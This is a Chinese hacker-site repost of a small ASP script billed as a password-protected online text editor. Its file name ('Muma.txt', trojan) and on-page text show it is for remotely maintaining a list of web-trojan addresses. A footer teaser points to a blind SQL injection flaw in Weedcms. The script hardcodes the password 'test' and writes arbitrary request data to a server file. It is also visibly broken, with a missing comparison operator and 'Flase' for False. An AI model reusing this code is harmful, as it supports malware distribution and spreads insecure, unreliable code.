Asp简易在线文本编辑器(支持密码):
Dim PassWord, FilePath
PassWord = "test" '密码
FilePath = Server.MapPath("Muma.txt") '文本路径
IF Request.QueryString = PassWord Then Session("admin") = PassWord '设置登陆会话
IF Session("admin") PassWord Then Response.End '判断登录状态
IF Request.QueryString = "Save" Then '保存文件
Server.CreateObject("Scripting.FileSystemObject").OpenTextFile(FilePath,2,Flase).Write Request("TxtData")
Response.Write "
数据保存成功!
"
Else
Response.Write " Asp文本编辑 - By:Nuclear'Atk
网马地址一行一个 支持无限行
" & vbcrlf
Response.Write "
" & vbcrlf
End IF
Response.End
%>
|
文章来源于lcx.cc:【原创】Asp简易在线文本编辑器(支持密码)
相关推荐: 野草Weedcms v4.0sp1-5.0贺岁版盲注漏洞
野草 Weedcms v4.0 sp1 至最新 5.0 贺岁版 USER_AGENT 盲注漏洞 程序说明: 野草 Weedcms 基于PHP+MYSQL架构。创新型内容管理模式,建立频道后可定义内容模型,均在后台可以控制,非常方便。 模…
评论